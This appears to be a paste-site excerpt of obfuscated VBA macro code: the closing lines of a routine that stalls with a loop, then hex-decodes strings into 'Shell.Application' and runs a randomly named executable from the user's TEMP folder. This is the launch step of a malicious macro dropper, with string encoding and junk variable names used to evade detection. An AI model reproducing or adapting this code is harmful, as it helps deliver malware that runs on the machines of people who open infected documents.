  2066. Do While MIhmfDPv < 68
  2067. DoEvents: MIhmfDPv = MIhmfDPv + 1
  2068. Loop
  2069.  
  2070. Set fdfgdfeer4gf = CreateObject(fdhdfgdfvdfv("5368656C6C2E4170706C69636174696F6E"))
  2071. fdfgdfeer4gf.Open Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
  2072. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement